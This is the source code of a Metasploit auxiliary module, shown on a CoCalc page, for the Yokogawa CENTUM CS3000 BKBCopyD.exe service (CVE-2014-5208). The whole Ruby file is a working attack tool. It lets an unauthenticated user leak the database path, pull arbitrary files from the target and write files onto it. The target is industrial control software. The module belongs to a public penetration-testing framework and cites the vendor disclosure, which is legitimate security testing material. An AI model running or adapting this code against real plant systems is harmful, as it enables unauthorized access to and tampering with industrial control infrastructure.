CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Exploit::Remote::TcpServer
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Yokogawa BKBCopyD.exe Client',
14
'Description' => %q{
15
This module allows an unauthenticated user to interact with the Yokogawa
16
CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
17
operations.
18
},
19
'Author' =>
20
[ 'Unknown' ],
21
'References' =>
22
[
23
[ 'CVE', '2014-5208' ],
24
[ 'URL', 'https://www.rapid7.com/blog/post/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']
25
],
26
'Actions' =>
27
[
28
['PMODE', { 'Description' => 'Leak the current database' }],
29
['RETR', { 'Description' => 'Retrieve remote file' }],
30
['STOR', { 'Description' => 'Store remote file' }]
31
],
32
'DisclosureDate' => '2014-08-09'))
33
34
register_options(
35
[
36
Opt::RPORT(20111),
37
OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
38
OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
39
])
40
end
41
42
def srvport
43
@srvport
44
end
45
46
def run
47
exploit
48
end
49
50
def exploit
51
@srvport = rand(1024..65535)
52
print_status("#{@srvport}")
53
# We make the client connection before giving control to the TCP Server
54
# in order to release the src port, so the server can start correctly
55
56
case action.name
57
when 'PMODE'
58
print_status("Sending PMODE packet...")
59
data = "PMODE MR_DBPATH\n"
60
res = send_pkt(data)
61
if res and res =~ /^210/
62
print_good("Success: #{res}")
63
else
64
print_error("Failed...")
65
end
66
return
67
when 'RETR'
68
data = "RETR #{datastore['RPATH']}\n"
69
print_status("Sending RETR packet...")
70
res = send_pkt(data)
71
return unless res and res =~ /^150/
72
when 'STOR'
73
data = "STOR #{datastore['RPATH']}\n"
74
print_status("Sending STOR packet...")
75
res = send_pkt(data)
76
return unless res and res =~ /^150/
77
else
78
print_error("Incorrect action")
79
return
80
end
81
82
super # TCPServer :)
83
end
84
85
def send_pkt(data)
86
connect(true, {'CPORT' => @srvport})
87
sock.put(data)
88
data = sock.get_once
89
disconnect
90
91
return data
92
end
93
94
def on_client_connect(c)
95
if action.name == 'STOR'
96
contents = ""
97
File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
98
print_status("#{c.peerhost} - Sending data...")
99
c.put(contents)
100
self.service.close
101
self.service.stop
102
end
103
end
104
105
def on_client_data(c)
106
print_status("#{c.peerhost} - Getting data...")
107
data = c.get_once
108
return unless data
109
if @store_path.blank?
110
@store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
111
print_good("#{@store_path} saved!")
112
else
113
File.open(@store_path, "ab") { |f| f.write(data) }
114
print_good("More data on #{@store_path}")
115
end
116
end
117
118
def on_client_close(c)
119
cleanup_service
120
end
121
end
122
123
124